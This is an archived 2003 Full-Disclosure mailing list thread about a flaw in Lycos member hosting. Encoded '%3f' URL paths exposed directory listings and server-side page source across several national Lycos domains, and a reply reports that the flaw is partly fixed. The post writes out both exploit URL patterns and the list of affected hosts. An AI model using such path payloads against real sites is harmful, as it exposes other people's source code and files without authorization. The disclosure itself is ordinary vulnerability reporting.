[Full-Disclosure] Re: (Fixed under Pressure?) LYCOS WorldWide Members' Accounts Source Pages Disclosure
From: Elv1S (elvi52001_at_yahoo.com)
Date: 09/09/03
- Previous message: Gregory A. Gilliss: "[Full-Disclosure] Re: Forgive Me My Trespasses (and take it off-list otherwise)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: full-disclosure@lists.netsys.com Date: Tue, 9 Sep 2003 19:07:46 +0200 (CEST)
obliged to make the pressure on LYCOS and disclosure this f**k** vuln, so they finally fix ? not sure
--> directory listening still works for the /Member_Name/
kessler@gmx.de wrote:
Worked a few minutes ago, fixed now. Produces 404 only now.
Elv1S <elvi52001@yahoo.com> wrote:
Title : LYCOS WorldWide Members' Accounts Source Pages Disclosure & Directory Listening
Date : 04/06/2003
Found : By ElviS (The King)
Greetz to : www.k-otik.com <- ur so sexy - CaSsDéDi ;-)
This vulnerability was PRIVATE and now Public, Very simple to exploit this vuln :
membres.lycos.fr/Member_Name/Directory/%3f/%3f/ (Directory Listening)
membres.lycos.fr/Member_Name/Directory/file.php%3f/%3f.jsp (Source Disclosure)
Vulnerable : Lycos FRANCE - United Kingdom - Spain - Italy - Nederland - Germany ...
membres.lycos.fr
members.lycos.co.uk
usuarios.lycos.es
utenti.lycos.it
members.lycos.nl
mitglied.lycos.de
[...]
Are we Secure ?
---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software
---------------------------------
Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français !
Testez le nouveau Yahoo! Mail
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Previous message: Gregory A. Gilliss: "[Full-Disclosure] Re: Forgive Me My Trespasses (and take it off-list otherwise)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
